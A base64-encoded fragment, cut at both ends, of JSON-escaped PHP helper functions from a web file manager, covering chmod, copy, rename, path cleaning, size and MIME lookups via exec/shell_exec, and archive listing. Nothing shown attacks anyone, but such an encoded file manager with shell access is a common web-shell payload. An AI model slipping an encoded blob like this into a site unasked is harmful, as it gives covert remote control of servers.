XJuICgkb2spID8gcm1kaXIoJHBhdGgpIDogZmFsc2U7XG4gICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGgpKSB7XG4gICAgICAgIHJldHVybiB1bmxpbmsoJHBhdGgpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIFJlY3Vyc2l2ZSBjaG1vZFxuICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICogQHBhcmFtIGludCAkZmlsZW1vZGVcbiAqIEBwYXJhbSBpbnQgJGRpcm1vZGVcbiAqIEByZXR1cm4gYm9vbFxuICogQHRvZG8gV2lsbCB1c2UgaW4gbWFzcyBjaG1vZFxuICpcL1xuZnVuY3Rpb24gZm1fcmNobW9kKCRwYXRoLCAkZmlsZW1vZGUsICRkaXJtb2RlKVxue1xuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghY2htb2QoJHBhdGgsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNobW9kKCRwYXRoIC4gJ1wvJyAuICRmaWxlLCAkZmlsZW1vZGUsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH0gZWxzZWlmIChpc19saW5rKCRwYXRoKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGNobW9kKCRwYXRoLCAkZmlsZW1vZGUpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIENoZWNrIHRoZSBmaWxlIGV4dGVuc2lvbiB3aGljaCBpcyBhbGxvd2VkIG9yIG5vdFxuICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWVcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1faXNfdmFsaWRfZXh0KCRmaWxlbmFtZSlcbntcbiAgICAkYWxsb3dlZCA9IChGTV9GSUxFX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fRklMRV9FWFRFTlNJT04pIDogZmFsc2U7XG5cbiAgICAkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pO1xuICAgICRpc0ZpbGVBbGxvd2VkID0gKCRhbGxvd2VkKSA/IGluX2FycmF5KCRleHQsICRhbGxvd2VkKSA6IHRydWU7XG5cbiAgICByZXR1cm4gKCRpc0ZpbGVBbGxvd2VkKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2FmZWx5IHJlbmFtZVxuICogQHBhcmFtIHN0cmluZyAkb2xkXG4gKiBAcGFyYW0gc3RyaW5nICRuZXdcbiAqIEByZXR1cm4gYm9vbHxudWxsXG4gKlwvXG5mdW5jdGlvbiBmbV9yZW5hbWUoJG9sZCwgJG5ldylcbntcbiAgICAkaXNGaWxlQWxsb3dlZCA9IGZtX2lzX3ZhbGlkX2V4dCgkbmV3KTtcblxuICAgIGlmICghaXNfZGlyKCRvbGQpKSB7XG4gICAgICAgIGlmICghJGlzRmlsZUFsbG93ZWQpIHJldHVybiBmYWxzZTtcbiAgICB9XG5cbiAgICByZXR1cm4gKCFmaWxlX2V4aXN0cygkbmV3KSAmJiBmaWxlX2V4aXN0cygkb2xkKSkgPyByZW5hbWUoJG9sZCwgJG5ldykgOiBudWxsO1xufVxuXG5cLyoqXG4gKiBDb3B5IGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSkuXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcGFyYW0gc3RyaW5nICRkZXN0XG4gKiBAcGFyYW0gYm9vbCAkdXBkIFVwZGF0ZSBmaWxlc1xuICogQHBhcmFtIGJvb2wgJGZvcmNlIENyZWF0ZSBmb2xkZXIgd2l0aCBzYW1lIG5hbWVzIGluc3RlYWQgZmlsZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9yY29weSgkcGF0aCwgJGRlc3QsICR1cGQgPSB0cnVlLCAkZm9yY2UgPSB0cnVlKVxue1xuICAgIGlmICghaXNfZGlyKCRwYXRoKSAmJiAhaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghZm1fbWtkaXIoJGRlc3QsICRmb3JjZSkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuXG4gICAgICAgICRvYmplY3RzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRwYXRoKSwgWycuJywgJy4uJ10pO1xuXG4gICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoIWZtX3Jjb3B5KFwiJHBhdGhcLyRmaWxlXCIsIFwiJGRlc3RcLyRmaWxlXCIsICR1cGQsICRmb3JjZSkpIHtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG5cbiAgICByZXR1cm4gZm1fY29weSgkcGF0aCwgJGRlc3QsICR1cGQpO1xufVxuXG5cblwvKipcbiAqIFNhZmVseSBjcmVhdGUgZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRkaXJcbiAqIEBwYXJhbSBib29sICRmb3JjZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9ta2RpcigkZGlyLCAkZm9yY2UpXG57XG4gICAgaWYgKGZpbGVfZXhpc3RzKCRkaXIpKSB7XG4gICAgICAgIGlmIChpc19kaXIoJGRpcikpIHtcbiAgICAgICAgICAgIHJldHVybiAkZGlyO1xuICAgICAgICB9IGVsc2VpZiAoISRmb3JjZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIHVubGluaygkZGlyKTtcbiAgICB9XG4gICAgcmV0dXJuIG1rZGlyKCRkaXIsIDA3NzcsIHRydWUpO1xufVxuXG5cLyoqXG4gKiBTYWZlbHkgY29weSBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRmMVxuICogQHBhcmFtIHN0cmluZyAkZjJcbiAqIEBwYXJhbSBib29sICR1cGQgSW5kaWNhdGVzIGlmIGZpbGUgc2hvdWxkIGJlIHVwZGF0ZWQgd2l0aCBuZXcgY29udGVudFxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9jb3B5KCRmMSwgJGYyLCAkdXBkKVxue1xuICAgICR0aW1lMSA9IGZpbGVtdGltZSgkZjEpO1xuICAgIGlmIChmaWxlX2V4aXN0cygkZjIpKSB7XG4gICAgICAgICR0aW1lMiA9IGZpbGVtdGltZSgkZjIpO1xuICAgICAgICBpZiAoJHRpbWUyID49ICR0aW1lMSAmJiAkdXBkKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJG9rID0gY29weSgkZjEsICRmMik7XG4gICAgaWYgKCRvaykge1xuICAgICAgICB0b3VjaCgkZjIsICR0aW1lMSk7XG4gICAgfVxuICAgIHJldHVybiAkb2s7XG59XG5cblwvKipcbiAqIEdldCBtaW1lIHR5cGVcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVfcGF0aFxuICogQHJldHVybiBtaXhlZHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9taW1lX3R5cGUoJGZpbGVfcGF0aClcbntcbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpIHtcbiAgICAgICAgJGZpbmZvID0gZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpO1xuICAgICAgICAkbWltZSA9IGZpbmZvX2ZpbGUoJGZpbmZvLCAkZmlsZV9wYXRoKTtcbiAgICAgICAgZmluZm9fY2xvc2UoJGZpbmZvKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ21pbWVfY29udGVudF90eXBlJykpIHtcbiAgICAgICAgcmV0dXJuIG1pbWVfY29udGVudF90eXBlKCRmaWxlX3BhdGgpO1xuICAgIH0gZWxzZWlmICghc3RyaXN0cihpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAnc2hlbGxfZXhlYycpKSB7XG4gICAgICAgICRmaWxlID0gZXNjYXBlc2hlbGxhcmcoJGZpbGVfcGF0aCk7XG4gICAgICAgICRtaW1lID0gc2hlbGxfZXhlYygnZmlsZSAtYmkgJyAuICRmaWxlKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIHJldHVybiAnLS0nO1xuICAgIH1cbn1cblxuXC8qKlxuICogSFRUUCBSZWRpcmVjdFxuICogQHBhcmFtIHN0cmluZyAkdXJsXG4gKiBAcGFyYW0gaW50ICRjb2RlXG4gKlwvXG5mdW5jdGlvbiBmbV9yZWRpcmVjdCgkdXJsLCAkY29kZSA9IDMwMilcbntcbiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJHVybCwgdHJ1ZSwgJGNvZGUpO1xuICAgIGV4aXQ7XG59XG5cblwvKipcbiAqIFBhdGggdHJhdmVyc2FsIHByZXZlbnRpb24gYW5kIGNsZWFuIHRoZSB1cmxcbiAqIEl0IHJlcGxhY2VzIChjb25zZWN1dGl2ZSkgb2NjdXJyZW5jZXMgb2YgXC8gYW5kIFxcXFwgd2l0aCB3aGF0ZXZlciBpcyBpbiBESVJFQ1RPUllfU0VQQVJBVE9SLCBhbmQgcHJvY2Vzc2VzIFwvLiBhbmQgXC8uLiBmaW5lLlxuICogQHBhcmFtICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZ2V0X2Fic29sdXRlX3BhdGgoJHBhdGgpXG57XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnXC8nLCAnXFxcXCcpLCBESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCk7XG4gICAgJHBhcnRzID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpLCAnc3RybGVuJyk7XG4gICAgJGFic29sdXRlcyA9IGFycmF5KCk7XG4gICAgZm9yZWFjaCAoJHBhcnRzIGFzICRwYXJ0KSB7XG4gICAgICAgIGlmICgnLicgPT0gJHBhcnQpIGNvbnRpbnVlO1xuICAgICAgICBpZiAoJy4uJyA9PSAkcGFydCkge1xuICAgICAgICAgICAgYXJyYXlfcG9wKCRhYnNvbHV0ZXMpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGFic29sdXRlc1tdID0gJHBhcnQ7XG4gICAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIGltcGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJGFic29sdXRlcyk7XG59XG5cblwvKipcbiAqIENsZWFuIHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9jbGVhbl9wYXRoKCRwYXRoLCAkdHJpbSA9IHRydWUpXG57XG4gICAgJHBhdGggPSAkdHJpbSA/IHRyaW0oJHBhdGgpIDogJHBhdGg7XG4gICAgJHBhdGggPSB0cmltKCRwYXRoLCAnXFxcXFwvJyk7XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnLi5cLycsICcuLlxcXFwnKSwgJycsICRwYXRoKTtcbiAgICAkcGF0aCA9ICBnZXRfYWJzb2x1dGVfcGF0aCgkcGF0aCk7XG4gICAgaWYgKCRwYXRoID09ICcuLicpIHtcbiAgICAgICAgJHBhdGggPSAnJztcbiAgICB9XG4gICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXFxcJywgJ1wvJywgJHBhdGgpO1xufVxuXG5cLyoqXG4gKiBHZXQgcGFyZW50IHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9wYXJlbnRfcGF0aCgkcGF0aClcbntcbiAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgIGlmICgkcGF0aCAhPSAnJykge1xuICAgICAgICAkYXJyYXkgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgaWYgKGNvdW50KCRhcnJheSkgPiAxKSB7XG4gICAgICAgICAgICAkYXJyYXkgPSBhcnJheV9zbGljZSgkYXJyYXksIDAsIC0xKTtcbiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCdcLycsICRhcnJheSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cbmZ1bmN0aW9uIGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aClcbntcbiAgICBnbG9iYWwgJHBhdGhfZGlzcGxheV9tb2RlLCAkcm9vdF9wYXRoLCAkcm9vdF91cmw7XG4gICAgc3dpdGNoICgkcGF0aF9kaXNwbGF5X21vZGUpIHtcbiAgICAgICAgY2FzZSAncmVsYXRpdmUnOlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ1BhdGgnLFxuICAgICAgICAgICAgICAgICdwYXRoJyA9PiBmbV9lbmMoZm1fY29udmVydF93aW4oc3RyX3JlcGxhY2UoJHJvb3RfcGF0aCwgJycsICRmaWxlX3BhdGgpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2hvc3QnOlxuICAgICAgICAgICAgJHJlbGF0aXZlX3BhdGggPSBzdHJfcmVwbGFjZSgkcm9vdF9wYXRoLCAnJywgJGZpbGVfcGF0aCk7XG4gICAgICAgICAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICAgICAgICAgJ2xhYmVsJyA9PiAnSG9zdCBQYXRoJyxcbiAgICAgICAgICAgICAgICAncGF0aCcgPT4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCdcLycgLiAkcm9vdF91cmwgLiAnXC8nIC4gbHRyaW0oc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkcmVsYXRpdmVfcGF0aCksICdcLycpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2Z1bGwnOlxuICAgICAgICBkZWZhdWx0OlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ0Z1bGwgUGF0aCcsXG4gICAgICAgICAgICAgICAgJ3BhdGgnID0+IGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZmlsZV9wYXRoKSlcbiAgICAgICAgICAgICk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBDaGVjayBmaWxlIGlzIGluIGV4Y2x1ZGUgbGlzdFxuICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgbmFtZSBvZiB0aGUgZmlsZVwvZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggb2YgdGhlIGZpbGVcL2ZvbGRlclxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9pc19leGNsdWRlX2l0ZW1zKCRuYW1lLCAkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSk7XG4gICAgaWYgKGlzc2V0KCRleGNsdWRlX2l0ZW1zKSBhbmQgc2l6ZW9mKCRleGNsdWRlX2l0ZW1zKSkge1xuICAgICAgICB1bnNldCgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuXG4gICAgJGV4Y2x1ZGVfaXRlbXMgPSBGTV9FWENMVURFX0lURU1TO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykpIHtcbiAgICAgICAgJGV4Y2x1ZGVfaXRlbXMgPSB1bnNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuICAgIGlmICghaW5fYXJyYXkoJG5hbWUsICRleGNsdWRlX2l0ZW1zKSAmJiAhaW5fYXJyYXkoXCIqLiRleHRcIiwgJGV4Y2x1ZGVfaXRlbXMpICYmICFpbl9hcnJheSgkcGF0aCwgJGV4Y2x1ZGVfaXRlbXMpKSB7XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIGdldCBsYW5ndWFnZSB0cmFuc2xhdGlvbnMgZnJvbSBqc29uIGZpbGVcbiAqIEBwYXJhbSBpbnQgJHRyXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdHJhbnNsYXRpb25zKCR0cilcbntcbiAgICB0cnkge1xuICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygndHJhbnNsYXRpb24uanNvbicpO1xuICAgICAgICBpZiAoJGNvbnRlbnQgIT09IEZBTFNFKSB7XG4gICAgICAgICAgICAkbG5nID0ganNvbl9kZWNvZGUoJGNvbnRlbnQsIFRSVUUpO1xuICAgICAgICAgICAgZ2xvYmFsICRsYW5nX2xpc3Q7XG4gICAgICAgICAgICBmb3JlYWNoICgkbG5nW1wibGFuZ3VhZ2VcIl0gYXMgJGtleSA9PiAkdmFsdWUpIHtcbiAgICAgICAgICAgICAgICAkY29kZSA9ICR2YWx1ZVtcImNvZGVcIl07XG4gICAgICAgICAgICAgICAgJGxhbmdfbGlzdFskY29kZV0gPSAkdmFsdWVbXCJuYW1lXCJdO1xuICAgICAgICAgICAgICAgIGlmICgkdHIpXG4gICAgICAgICAgICAgICAgICAgICR0clskY29kZV0gPSAkdmFsdWVbXCJ0cmFuc2xhdGlvblwiXTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiAkdHI7XG4gICAgICAgIH1cbiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgZWNobyAkZTtcbiAgICB9XG59XG5cblwvKipcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVcbiAqIFJlY292ZXIgYWxsIGZpbGUgc2l6ZXMgbGFyZ2VyIHRoYW4gPiAyR0IuXG4gKiBXb3JrcyBvbiBwaHAgMzJiaXRzIGFuZCA2NGJpdHMgYW5kIHN1cHBvcnRzIGxpbnV4XG4gKiBAcmV0dXJuIGludHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9zaXplKCRmaWxlKVxue1xuICAgIHN0YXRpYyAkaXN3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkaXNkYXJ3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkZXhlY193b3JrcyA9IG51bGw7XG5cbiAgICBpZiAoJGlzd2luID09PSBudWxsKSB7XG4gICAgICAgICRpc3dpbiA9IHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09PSAnV0lOJztcbiAgICAgICAgJGlzZGFyd2luID0gc3RydG91cHBlcihQSFBfT1MpID09PSAnREFSV0lOJztcbiAgICAgICAgJGV4ZWNfd29ya3MgPSBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAhaW5pX2dldCgnc2FmZV9tb2RlJykgJiYgQGV4ZWMoJ2VjaG8gRVhFQycpID09PSAnRVhFQyc7XG4gICAgfVxuXG4gICAgaWYgKCRleGVjX3dvcmtzKSB7XG4gICAgICAgICRhcmcgPSBlc2NhcGVzaGVsbGFyZygkZmlsZSk7XG4gICAgICAgICRjbWQgPSAkaXN3aW4gPyBcImZvciAlRiBpbiAoXFxcIiRmaWxlXFxcIikgZG8gQGVjaG8gJX56RlwiIDogKCRpc2RhcndpbiA/IFwic3RhdCAtZiV6ICRhcmdcIiA6IFwic3RhdCAtYyVzICRhcmdcIik7XG4gICAgICAgIEBleGVjKCRjbWQsICRvdXRwdXQpO1xuXG4gICAgICAgIGlmICghZW1wdHkoJG91dHB1dCkgJiYgY3R5cGVfZGlnaXQoJHNpemUgPSB0cmltKGltcGxvZGUoXCJcXG5cIiwgJG91dHB1dCkpKSkge1xuICAgICAgICAgICAgcmV0dXJuICRzaXplO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRpc3dpbiAmJiBjbGFzc19leGlzdHMoJ0NPTScpKSB7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICAkZnNvYmogPSBuZXcgQ09NKCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpO1xuICAgICAgICAgICAgJGYgPSAkZnNvYmotPkdldEZpbGUocmVhbHBhdGgoJGZpbGUpKTtcbiAgICAgICAgICAgIGlmIChjdHlwZV9kaWdpdCgkc2l6ZSA9ICRmLT5TaXplKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiAkc2l6ZTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gZmlsZXNpemUoJGZpbGUpO1xufVxuXG5cblwvKipcbiAqIEdldCBuaWNlIGZpbGVzaXplXG4gKiBAcGFyYW0gaW50ICRzaXplXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVzaXplKCRzaXplKVxue1xuICAgICRzaXplID0gKGZsb2F0KSAkc2l6ZTtcbiAgICAkdW5pdHMgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicsICdFQicsICdaQicsICdZQicpO1xuICAgICRwb3dlciA9ICgkc2l6ZSA+IDApID8gZmxvb3IobG9nKCRzaXplLCAxMDI0KSkgOiAwO1xuICAgICRwb3dlciA9ICgkcG93ZXIgPiAoY291bnQoJHVuaXRzKSAtIDEpKSA/IChjb3VudCgkdW5pdHMpIC0gMSkgOiAkcG93ZXI7XG4gICAgcmV0dXJuIHNwcmludGYoJyVzICVzJywgcm91bmQoJHNpemUgXC8gcG93KDEwMjQsICRwb3dlciksIDIpLCAkdW5pdHNbJHBvd2VyXSk7XG59XG5cblwvKipcbiAqIEdldCBpbmZvIGFib3V0IHppcCBhcmNoaXZlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIGFycmF5fGJvb2xcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF96aWZfaW5mbygkcGF0aCwgJGV4dClcbntcbiAgICBpZiAoJGV4dCA9PSAnemlwJyAmJiBmdW5jdGlvbl9leGlzdHMoJ3ppcF9vcGVuJykpIHtcbiAgICAgICAgJGFyY2ggPSBAemlwX29wZW4oJHBhdGgpO1xuICAgICAgICBpZiAoJGFyY2gpIHtcbiAgICAgICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICAgICAgd2hpbGUgKCR6aXBfZW50cnkgPSBAemlwX3JlYWQoJGFyY2gpKSB7XG4gICAgICAgICAgICAgICAgJHppcF9uYW1lID0gQHppcF9lbnRyeV9uYW1lKCR6aXBfZW50cnkpO1xuICAgICAgICAgICAgICAgICR6aXBfZm9sZGVyID0gc3Vic3RyKCR6aXBfbmFtZSwgLTEpID09ICdcLyc7XG4gICAgICAgICAgICAgICAgJGZpbGVuYW1lc1tdID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgICAgICdmaWxlc2l6ZScgPT4gQHppcF9lbnRyeV9maWxlc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2NvbXByZXNzZWRfc2l6ZScgPT4gQHppcF9lbnRyeV9jb21wcmVzc2Vkc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2ZvbGRlcicgPT4gJHppcF9mb2xkZXJcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQHppcF9jbG9zZSgkYXJjaCk7XG4gICAgICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICAgICAgfVxuICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInICYmIGNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkge1xuICAgICAgICAkYXJjaGl2ZSA9IG5ldyBQaGFyRGF0YSgkcGF0aCk7XG4gICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoIChuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigkYXJjaGl2ZSkgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICRwYXJlbnRfaW5mbyA9ICRmaWxlLT5nZXRQYXRoSW5mbygpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3RyX3JlcGxhY2UoXCJwaGFyOlwvXC9cIiAuICRwYXRoLCAnJywgJGZpbGUtPmdldFBhdGhOYW1lKCkpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3Vic3RyKCR6aXBfbmFtZSwgKCRwb3MgPSBzdHJwb3MoJHppcF9uYW1lLCAnXC8nKSkgIT09IGZhbHNlID8gJHBvcyArIDEgOiAwKTtcbiAgICAgICAgICAgICR6aXBfZm9sZGVyID0gJHBhcmVudF9pbmZvLT5nZXRGaWxlTmFtZSgpO1xuICAgICAgICAgICAgJHppcF9pbmZvID0gbmV3IFNwbEZpbGVJbmZvKCRmaWxlKTtcbiAgICAgICAgICAgICRmaWxlbmFtZXNbXSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgJ2ZpbGVzaXplJyA9PiAkemlwX2luZm8tPmdldFNpemUoKSxcbiAgICAgICAgICAgICAgICAnY29tcHJlc3NlZF9zaXplJyA9PiAkZmlsZS0+Z2V0Q29tcHJlc3NlZFNpemUoKSxcbiAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlclxuICAgICAgICAgICAgKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBFbmNvZGUgaHRtbCBlbnRpdGllc1xuICogQHBhcmFtIHN0cmluZyAkdGV4dFxuICogQHJldHVybiBzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2VuYygkdGV4dClcbntcbiAgICByZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkdGV4dCwgRU5UX1FVT1RFUywgJ1VURi04Jyk7XG59XG5cblwvKipcbiAqIFByZXZlbnQgWFNTIGF0dGFja3NcbiAqIEBwYXJhbSBzdHJpbmcgJHRleHRcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9pc3ZhbGlkX2ZpbGVuYW1lKCR0ZXh0KVxue1xuICAgIHJldHVybiAoc3RycGJyaygkdGV4dCwgJ1wvPyUqOnxcIjw+JykgPT09IEZBTFNFKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2F2ZSBtZXNzYWdlIGluIHNlc3Npb25cbiAqIEBwYXJhbSBzdHJpbmcgJG1zZ1xuICogQHBhcmFtIHN0cmluZyAkc3RhdHVzXG4gKlwvXG5mdW5jdGlvbiBmbV9zZXRfbXNnKCRtc2csICRzdGF0dXMgPSAnb2snKVxue1xuICAgICRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddID0gJG1zZztcbiAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddID0gJHN0YXR1cztcbn1cblxuXC8qKlxuICogQ2hlY2sgaWYgc3RyaW5nIGlzIGluIFVURi04XG4gKiBAcGFyYW0gc3RyaW5nICRzdHJpbmdcbiAqIEByZXR1cm4gaW50XG4gKlwvXG5mdW5jdGlvbiBmbV9pc191dGY4KCRzdHJpbmcpXG57XG4gICAgcmV0dXJuIHByZWdfbWF0Y2goJ1wvXC91JywgJHN0cmluZyk7XG59XG5cblwvKipcbiAqIENvbnZlcnQgZmlsZSBuYW1lIHRvIFVURi04IGluIFdpbmRvd3NcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gKiBAcmV0dXJuIHN